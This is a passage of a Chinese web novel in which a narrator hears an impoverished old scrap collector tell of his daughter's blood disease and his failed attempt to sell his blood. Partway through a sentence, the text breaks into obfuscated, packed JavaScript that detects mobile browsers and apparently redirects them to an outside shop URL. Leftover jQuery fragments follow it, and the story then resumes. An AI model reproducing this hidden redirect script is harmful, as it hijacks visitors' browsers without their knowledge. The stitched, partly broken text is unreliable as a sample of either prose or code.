他因为可能赚到的五十块钱，笑得像个孩子。而我，看着他脸上那因为微小希望而绽放的光芒，看着他佝偻的身躯和破烂的衣衫，心脏象是被一只无形的手狠狠攥住，然后浸入了冰水里。刚才在洞内感受到的那种宏大叙事般的阴谋和危险，此刻被一种更具体、更磨人、更无处不在的日常绝望所取代。

    我笑不出来。喉咙里象是堵了一块沾满污垢的石头，沉重而苦涩。

    他见我没什么反应，只是愣愣地看着他，脸上的兴奋稍稍褪去，有些讪讪地收回了收音机，依旧小心翼翼地抱在怀里，仿佛那是他全部的希望。

    “五十块……能给我闺女买好几盒药了。”他低声嘟囔了一句，象是在解释，又象是在给自己打气。

    “你女儿……怎么了？”我终于找回了自己的声音，干涩地问道。这个问题似乎有些冒昧，但我忍不住。我想知道，是什么样的重压，让一个老人需要在这样的荒山里，从一堆真正的垃圾中，寻找价值五十元的“宝贝”去换取几盒药。

    听到我问起女儿，老金——我后来才知道他叫金卫国，老金——象是被打开了某个闸门。他脸上的拘谨和警惕消失了，取而代之的是一种混杂着无尽忧愁和一丝谈及骨肉时本能的温柔。

    “病了……唉，得了不好治的病。”他叹了口气，抱着收音机，靠着旁边一棵歪脖子树坐了下来，仿佛提起这个话题就需要耗费他巨大的力气。

    “啥病？”我追问，也顺势在不远处一块石头上坐下。山林寂静，只有风吹过树叶的声音，和他沙哑的、带着苦难沉淀的叙述。

    “医生说的名儿忒长，我也记不住……反正就是血里的毛病，造血的机器坏了。”他努力回忆着那些拗口的医学名词，最终放弃了，“反正就是得一直吃药，不能停。一停，人就……就不行了。”

    他的声音低沉下去，带着一种被反复折磨后的麻木。

    “那药……贵吧？”我几乎能猜到答案。

    “贵！咋不贵！”老金的声调陡然提高了一些，带着一种近乎控诉的激动，但很快又低沉下去，变成了无奈的絮叨，“一盒就好几百，吃不了几天。一个月光药钱，就得四五千……这还不算检查、住院的钱。”

    四五千。对我这个拖欠房租的人来说是天文数字，对他这样一个靠捡废品为

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17016443|194201||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    生的人来说呢？我无法想象。

    “我没啥本事，下岗快二十年了。”老金的目光投向远处模糊的城市轮廓，眼神空洞，“原来在纺织厂，后来厂子倒了，就没着落了。打零工，扛大包，啥都干过。老了，没力气了，就只能捡点破烂……”

    他顿了顿，脸上露出一丝比哭还难看的、苦涩的笑容，那笑容里充满了生活的荒诞和残酷。

    “前阵子，实在没办法了，听说医院能卖血，我就去了。寻思着，我这把老骨头，血总还能换点钱吧？”

    我屏住呼吸，预感到接下来不会是什么好故事。

    “结果你猜咋着？”老金歪着头看我，那表情象是在讲一个别人的、可笑的笑话，“那护士抽了我一管子血，拿去验。回来就跟我说，‘大爷，你这血脂太高了，血不合格，我们不能要。’”

    他模仿着护士的语气，带着一种夸张的、事不关己